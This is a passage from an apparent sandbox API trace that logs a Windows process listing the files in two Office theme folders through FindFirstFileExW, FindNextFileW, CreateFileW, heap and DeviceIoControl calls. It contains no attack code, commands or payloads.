ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0058.259] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fabe0 [0058.259] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fabe0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fabe0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fabe0) returned 1 [0058.259] NtClose (Handle=0x16c) returned 0x0 [0058.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f91d8 [0058.259] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f92e0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2bb0 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f93e8 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2bd0 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f94f0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2bf0 [0058.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f95f8 [0058.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2c10 [0058.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9700 [0058.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.261] GetLastError () returned 0x12 [0058.261] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.261] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.261] GetLastError () returned 0x12 [0058.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f91d8) returned 1 [0058.261] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f92e0) returned 1 [0058.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.262] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0058.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.262] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0058.262] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fabe0 [0058.262] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fabe0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fabe0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fabe0) returned 1 [0058.262] NtClose (Handle=0x160) returned 0x0 [0058.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f92e0 [0058.262] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.263] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.263] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f91d8 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2c30 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9808 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.263] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2c50 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9910 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7c0) returned 0x9fabe0 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.263] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2c70 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9a18 [0058.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2c90 [0058.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9b20 [0058.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.264] GetLastError () returned 0x12 [0058.264] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.264] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 